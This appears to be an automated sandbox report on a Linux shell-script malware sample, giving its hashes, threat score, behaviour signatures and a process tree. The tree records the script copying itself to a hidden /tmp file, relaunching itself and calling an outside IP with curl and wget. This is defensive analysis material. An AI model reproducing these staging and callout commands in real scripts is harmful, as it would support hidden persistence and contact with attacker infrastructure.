Overview

overview

7

Static

static

1

343d40b06b...bin.sh

ubuntu-18.04-amd64

7

343d40b06b...bin.sh

debian-9-armhf

7

343d40b06b...bin.sh

debian-9-mips

343d40b06b...bin.sh

debian-9-mipsel

Analysis

  • max time kernel
    143s
  • max time network
    145s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03/08/2026, 14:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    343d40b06b48e6eeccacd630ce8d30bb3db7a78629fa48446823161d7e9e95f6_from_31.56.52.52.bin.sh
  • Size 5KB
  • Sample260803-raz95sstes
  • SHA256 343d40b06b48e6eeccacd630ce8d30bb3db7a78629fa48446823161d7e9e95f6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/343d40b06b48e6eeccacd630ce8d30bb3db7a78629fa48446823161d7e9e95f6_from_31.56.52.52.bin.sh
    /tmp/343d40b06b48e6eeccacd630ce8d30bb3db7a78629fa48446823161d7e9e95f6_from_31.56.52.52.bin.sh
    1⤵
      PID:641
      • /usr/bin/id
        id -u
        2⤵
        • Reads runtime system information
        PID:648
      • /bin/cp
        cp /tmp/343d40b06b48e6eeccacd630ce8d30bb3db7a78629fa48446823161d7e9e95f6_from_31.56.52.52.bin.sh /tmp/.0init
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:654
      • /bin/chmod
        chmod +x /tmp/.0init
        2⤵
        • File and Directory Permissions Modification
        PID:659
    • /usr/bin/setsid
      setsid bash /tmp/.0init
      1⤵
        PID:661
      • /usr/local/sbin/bash
        bash /tmp/.0init
        1⤵
          PID:661
        • /usr/local/bin/bash
          bash /tmp/.0init
          1⤵
            PID:661
          • /usr/sbin/bash
            bash /tmp/.0init
            1⤵
              PID:661
            • /usr/bin/bash
              bash /tmp/.0init
              1⤵
                PID:661
              • /sbin/bash
                bash /tmp/.0init
                1⤵
                  PID:661
                • /bin/bash
                  bash /tmp/.0init
                  1⤵
                    PID:661
                    • /bin/mkdir
                      mkdir -p /tmp/.sysd
                      2⤵
                      • Reads runtime system information
                      PID:666
                    • /usr/bin/awk
                      awk "NR==1{for(i=1;i<=NF;i++)if(\$i==\"src\"){print \$(i+1);exit}}"
                      2⤵
                      • Reads runtime system information
                      PID:670
                    • /sbin/ip
                      ip -4 route get 1
                      2⤵
                      • System Network Configuration Discovery
                      PID:669
                    • /usr/bin/tr
                      tr . -
                      2⤵
                        PID:671
                      • /usr/bin/curl
                        curl -sk --max-time 6 http://31.56.53.172/
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        PID:675
                      • /usr/bin/wget
                        wget -q --spider --no-check-certificate http://31.56.53.172/
                        2⤵
                          PID:753

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            .0init
                            • Path /tmp/.0init
                            • Size 5KB
                            • SHA256 343d40b06b48e6eeccacd630ce8d30bb3db7a78629fa48446823161d7e9e95f6
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download